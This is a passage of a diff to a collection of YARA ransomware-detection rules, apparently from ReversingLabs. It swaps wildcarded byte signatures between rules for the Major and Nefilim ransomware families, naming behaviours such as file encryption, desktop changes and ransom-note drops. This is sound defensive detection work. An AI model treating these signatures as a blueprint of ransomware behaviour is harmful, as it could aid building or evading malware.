-            ?? ?? ?? ?? 48 89 9D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 4C 89 6D ?? 4C 89 6D ?? 48 8B
-            B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ??
-            48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 45 ?? 48 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48
-            B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 8B DE 48 83 CB ?? 48 89 5D ?? 48 3B D8 48
-            0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ??
-            ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ?? ?? ?? 48 83 C0 ??
-            48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8 E8 ?? ?? ?? ?? EB ?? 49 8B C5
-            48 89 45 ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8 ?? ?? ?? ?? 48 89 5D ?? 48 89 75 ?? 4C
-            8D 85 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 8D
-        }
 		$encrypt_files_p1 = {
-            48 63 53 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 45 33
-            C0 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ??
-            4C 63 43 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 4B ?? 48 85 C9 0F 84
-            ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 3B CA 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 45 ?? 48
-            83 BD ?? ?? ?? ?? ?? 48 0F 43 45 ?? C6 04 01 ?? EB ?? 48 8B F1 48 2B F2 4C 8B 85 ??
-            ?? ?? ?? 49 8B C0 48 2B C2 48 3B F0 77 ?? 48 89 8D ?? ?? ?? ?? 48 8D 7D ?? 49 83 F8
-            ?? 48 0F 43 7D ?? 48 03 FA 4C 8B C6 33 D2 48 8B CF E8 ?? ?? ?? ?? C6 04 37 ?? EB ??
-            0F AE E8 C6 44 24 ?? ?? 4C 8B CE 48 8B D6 48 8D 4D ?? E8 ?? ?? ?? ?? 33 F6 8B 43 ??
-            99 41 F7 FD B9 ?? ?? ?? ?? 85 C0 0F 45 C8 89 4B ?? 83 F9 ?? 0F 8C ?? ?? ?? ?? 4C 63
-            C9 4C 8D 45 ?? 48 8D 54 24 ?? E8 ?? ?? ?? ?? 48 8B F8 48 3B D8 74 ?? 48 8B 0B 48 85
+            03 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 06 07 9A 0C 73 ?? ?? ?? ?? 0D 09 08 28 ?? ?? ?? ?? 7D
+            ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ??
+            02 08 28 ?? ?? ?? ?? 07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 00 03 28 ?? ?? ?? ??
+            0A 16 0B 2B ?? 06 07 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 11 ?? 28 ?? ?? ?? ??
+            07 17 58 0B 07 06 8E 69 32 ?? DE ?? 26 DE ?? 2A
         }
 		$encrypt_files_p2 = {
-            C9 74 ?? 48 8B 53 ?? E8 ?? ?? ?? ?? 48 8B 0B 48 8B 53 ?? 48 2B D1 48 83 E2 ?? 48 81
-            FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 48 89 33 48 89 73 ?? 48 89 73 ?? 48 8B 07 48 89
-            03 48 8B 47 ?? 48 89 43 ?? 48 8B 47 ?? 48 89 43 ?? 48 89 37 48 89 77 ?? 48 89 77 ??
-            48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C
-            24 ?? 48 2B D1 48 83 E2 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49
-            ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 74 24 ??
-            0F 57 C0 F3 0F 7F 44 24 ?? EB ?? 48 8B 0B 48 8D 45 ?? 48 3B C8 74 ?? 48 8D 55 ?? 48
-            83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CB E8
-            ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 74
-            ?? 33 FF 0F 1F 40 ?? 66 0F 1F 84 00 ?? ?? 00 00 4C 8B 03 4C 03 C7 49 8B D0 49 83 78
-            ?? ?? 72 ?? 49 8B 10 4D 8B 40 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 63 CE 48 C1 E1 ?? 48
+            03 8E 69 17 59 0A 06 17 2F ?? 03 2A 03 06 95 0B 16 0D 1C 1F ?? 06 17 58 5B 58 13 ?? 2B
+            ?? 09 20 ?? ?? ?? ?? 58 0D 09 18 64 19 5F 13 ?? 16 13 ?? 2B ?? 03 11 ?? 17 58 95 0C 03
+            11 ?? 8F ?? ?? ?? ?? 25 4B 02 09 08 07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11
+            ?? 0B 11 ?? 17 58 13 ?? 11 ?? 06 32 ?? 03 16 95 0C 03 06 8F ?? ?? ?? ?? 25 4B 02 09 08
+            07 11 ?? 11 ?? 04 28 ?? ?? ?? ?? 58 25 13 ?? 54 11 ?? 0B 16 11 ?? 25 17 59 13 ?? 32 ??
+            03 2A
         }
 		$encrypt_files_p3 = {
-            03 0B 45 33 C0 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 0B 48 03 CF 48 C7 41 ?? ??
-            ?? ?? ?? 48 83 79 ?? ?? 72 ?? 48 8B 09 C6 01 ?? FF C6 48 83 C7 ?? 3B 73 ?? 75 ?? 48
-            8D 55 ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 55 ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 90 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D ??
-            48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48
-            83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 33 F6 F6 44 0C
-            ?? ?? 75 ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 83 FA ?? 72 ?? 48 FF C2 48 8B 4D
-            ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ??
-            48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 48 8D 4C 24 ?? E8
-            ?? ?? ?? ?? BB ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 44 24 ??
-            48 03 C8 41 8B D4 48 83 79 ?? ?? 0F 45 D3 0B 51 ?? 45 33 C0 E8 ?? ?? ?? ?? 48 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 75 ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 85
-            ?? ?? ?? ?? 48 03 C8 48 83 79 ?? ?? 44 0F 45 E3 44 0B 61 ?? 45 33 C0 41 8B D4 E8 ??
-            ?? ?? ?? 90 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 89 BC 0D ?? ?? ?? ?? 48 8B 85 ?? ??
-            ?? ?? 48 63 48 ?? 8D 91 ?? ?? ?? ?? 89 94 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 84 0D ?? ?? ??
-            ?? 48 8B 85 ?? ?? ?? ?? 48 63 48 ?? 8D 51 ?? 89 94 0D ?? ?? ?? ?? 48 8D 1D ?? ?? ??
-            ?? 48 89 9D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 44 24 ?? 48 63
+            05 1B 64 04 18 62 61 04 19 64 05 1A 62 61 58 03 04 61 0E ?? 0E ?? 19 5F 6A 0E ?? 6E 61
+            D4 95 05 61 58 61 2A
         }
 		$encrypt_files_p4 = {
-            48 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 91 ?? ?? ??
-            ?? 89 54 0C ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 63 48 ?? 48 8D 05 ??
-            ?? ?? ?? 48 89 44 0C ?? 48 8B 44 24 ?? 48 63 48 ?? 8D 51 ?? 89 54 0C ?? 48 89 5D ??
-            48 8D 4D ?? E8 ?? ?? ?? ?? 90 49 8B 57 ?? 48 83 FA ?? 72 ?? 49 8B 0F 48 FF C2 48 81
-            FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 0F 87
-            ?? ?? ?? ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89 77 ?? 49 C7 47 ?? ?? ?? ?? ?? 41 C6 07 ??
-            49 8B 56 ?? 48 83 FA ?? 72 ?? 48 FF C2 49 8B 0E 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2
-            ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ?? 49 89
-            76 ?? 49 C7 46 ?? ?? ?? ?? ?? 41 C6 06 ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ??
-            ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3
-            E8
+            03 8E 2D ?? 03 2A 02 02 02 03 17 28 ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 16 28 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2A
         }
-		$encrypt_files_p5 = {
-            48 8B C4 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 4C 89 40 ?? 55 41 54 41 55 41 56 41 57
-            48 8D 68 ?? 48 81 EC ?? ?? ?? ?? 45 8B E1 49 8B D8 44 8B 4D ?? 48 8B FA 44 8B 45 ??
-            48 8B F1 41 8B D4 48 8D 4D ?? E8 ?? ?? ?? ?? 0F 10 00 F2 0F 10 48 ?? 0F 11 45 ?? 66
-            0F 73 D8 ?? 66 49 0F 7E C7 F2 0F 11 4D ?? 49 C1 EF ?? F2 0F 11 4D ?? 4C 89 7D ?? 41
-            83 FF ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 89 07 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? 33 F6 89 30 83 0F ?? E8 ?? ??
-            ?? ?? C7 00 ?? ?? ?? ?? EB ?? 8B 4D ?? 4C 8D 4D ?? 4C 8B 75 ?? 41 8B C4 48 8B 55 ??
-            45 8B C7 C1 E8 ?? 49 C1 EE ?? F7 D0 44 0B 75 ?? 83 E0 ?? C7 06 ?? ?? ?? ?? 33 F6 48
-            89 74 24 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B CB 48 C1 EA ?? C7 45 ?? ?? ?? ?? ?? 48
-            89 75 ?? 89 45 ?? 4C 89 75 ?? FF 15 ?? ?? ?? ?? 8B 5D ?? B9 ?? ?? ?? ?? 4C 8B E8 48
-            83 F8 ?? 75 ?? 8B C3 23 C1 3B C1 75 ?? 41 F6 C4 ?? 74 ?? 8B 4D ?? 4C 8D 4D ?? 48 89
-            74 24 ?? 0F BA F3 ?? 89 5D ?? 45 8B C7 48 8B 55 ?? 44 89 74 24 ?? 89 4C 24 ?? 48 8B
+		$find_files_p1 = {
+            73 ?? ?? ?? ?? 25 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25
+            2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 2A
         }
-		$encrypt_files_p6 = {
-            4D ?? 48 C1 EA ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 83 F8 ?? 75 ?? 48 63 0F 4C 8D 3D ??
-            ?? ?? ?? 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8 ?? ?? FF 15
-            ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? FF 15 ?? ?? ?? ?? 8B C8 8B D8 E8 ?? ?? ?? ?? 48 63 17 4C 8D 3D ?? ?? ?? ?? 48 8B
-            CA 83 E2 ?? 48 C1 F9 ?? 48 8D 14 D2 49 8B 0C CF 80 64 D1 ?? ?? 49 8B CD FF 15 ?? ??
-            ?? ?? 85 DB 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 44 8A
-            75 ?? 83 F8 ?? 75 ?? 41 80 CE ?? EB ?? 83 F8 ?? 75 ?? 41 80 CE ?? 8B 0F 49 8B D5 E8
-            ?? ?? ?? ?? 48 63 0F 4C 8D 3D ?? ?? ?? ?? 48 8B C1 41 80 CE ?? 48 C1 F8 ?? 83 E1 ??
-            44 88 75 ?? 49 8B 04 C7 48 8D 0C C9 44 88 74 C8 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1
-            F8 ?? 48 8D 0C C9 49 8B 04 C7 40 88 74 C8 ?? 41 F6 C4 ?? 74 ?? 8B 0F E8 ?? ?? ?? ??
-            89 45 ?? 85 C0 74 ?? 8B 0F E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 0F 10 45 ?? 4C 8D
-            4D ?? 8B 0F F2 0F 10 4D ?? 48 8D 55 ?? 45 8B C4 0F 29 45 ?? 40 88 75 ?? F2 0F 11 4D
-            ?? E8 ?? ?? ?? ?? 48 63 0F 89 45 ?? 85 C0 75 ?? 48 8B C1 48 C1 F9 ?? 83 E0 ?? 49 8B
+		$find_files_p2 = {
+            73 ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1B 28 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 1F
+            ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
         }
-		$encrypt_files_p7 = {
-            0C CF 48 8D 14 C0 8A 45 ?? 88 44 D1 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D
-            14 C9 49 8B 0C C7 41 8B C4 C1 E8 ?? 24 ?? 80 64 D1 ?? ?? 08 44 D1 ?? 41 F6 C6 ?? 75
-            ?? 41 F6 C4 ?? 74 ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7
-            80 4C C8 ?? ?? B9 ?? ?? ?? ?? 8B C3 23 C1 3B C1 0F 85 ?? ?? ?? ?? 41 F6 C4 ?? 0F 84
-            ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8B 4D ?? 4C 8D 4D ?? 44 8B 45 ?? 0F BA F3
-            ?? 48 89 74 24 ?? 89 4C 24 ?? 8B 4D ?? 89 4C 24 ?? 48 8B 4D ?? 89 5D ?? 48 8B 55 ??
-            48 C1 EA ?? FF 15 ?? ?? ?? ?? 48 8B D0 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 8B C8 E8
-            ?? ?? ?? ?? 48 63 0F 48 8B C1 83 E1 ?? 48 C1 F8 ?? 48 8D 0C C9 49 8B 04 C7 80 64 C8
-            ?? ?? 8B 0F E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 0F 48 8B C1 48 C1 F8 ?? 83 E1 ?? 49
-            8B 04 C7 48 8D 0C C9 48 89 54 C8 ?? 33 C0 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B
-            73 ?? 49 8B 7B ?? 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3
+		$change_desktop = {
+            1F ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 28 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 17
+            8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 1F ?? 16
+            06 19 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A
+        }
+		$drop_ransom_note = {
+            02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 2A 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 02 7B ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 0D 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 07 06 6F ?? ?? ?? ?? 26 07 6F ??
+            ?? ?? ?? 26 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ??
+            2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 07 11 ?? 6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ??
+            DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 07 6F ?? ?? ?? ?? 0C 02 28 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 06 28 ?? ?? ?? ?? 11 ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? DE ??
+            26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 26
+            DE ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($change_desktop) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Win32_Ransomware_Major : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Nefilim : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Major ransomware."
+		description = "Yara rule that detects Nefilim ransomware."
 		author = "ReversingLabs"
-		id = "0c85aff8-1fb5-5e47-ae49-72445a000eaa"
-		date = "2021-01-26"
-		modified = "2021-01-26"
+		id = "aec298c1-abf8-5446-9dbb-795f9fcf8e94"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Major.yara#L1-L261"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "16fb7763e3806fca6937fef7e8b3d8bccd61cb39549061d359d630c7d266c270"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Nefilim.yara#L1-L150"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fae0350e51aee2777475d2222848b30fd39fa39ceea260132b0c7fbc536b3a86"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -40180,246 +40676,135 @@ rule REVERSINGLABS_Win32_Ransomware_Major : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Major"
+		tc_detection_name = "Nefilim"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 C0 89 4D ?? 57 50 66 89 45 ?? 8D 8D ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48
-            ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84
-            0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 33 C9 8B F8 51 89 4D ?? 51 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ??
-            8D 45 ?? 50 FF 77 ?? 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 47 ?? 89 4D ?? BB ?? ?? ??
-            ?? 8B 48 ?? 89 01 8B 07 8D 4D ?? 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 8D 45 ?? 3B C6
-        }
-		$find_files_p2 = {
-            0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ??
-            ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ??
-            ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 7E ??
-            ?? 73 ?? 8B 46 ?? 83 C0 ?? 74 ?? 03 C0 50 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB
-            ?? 8B 06 89 45 ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 89 45 ?? 8B 46 ?? 89 45 ?? C7 46 ?? ??
-            ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 66 89 06 8B 45 ?? 83 F8
-            ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6
-            C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ??
-            ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 3F 8D 77 ?? 8B
-            4F ?? 8B 07 89 01 8B 0F 8B 47 ?? 89 41 ?? 8B 45 ?? 48 89 45 ?? 89 45 ?? 8B 46 ?? 83
-            F8 ?? 72 ?? 8B 0E 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6
-        }
-		$find_files_p3 = {
-            C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ??
-            ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ??
-            ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 57 66 89 06 E8 ?? ?? ?? ?? 83
-            C4 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B
-            F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 66 66 66 0F 1F 84 00 ?? ?? ?? ?? 33 C0 C7 45
-            ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 0F 84 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 8B 08 85 C9 74 ?? 8B 85 ?? ?? ?? ?? 8B 00 8D 14 41 EB ?? 8B 85
-            ?? ?? ?? ?? 8B 08 8B 85 ?? ?? ?? ?? 8B 00 8D 14 48 8B 85 ?? ?? ?? ?? 8B 08 2B D1 D1
-            FA 81 FA ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8D 04 12 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85
-            ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9
-            ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? 50 89 85 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72
-            ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1
-        }
-		$find_files_p4 = {
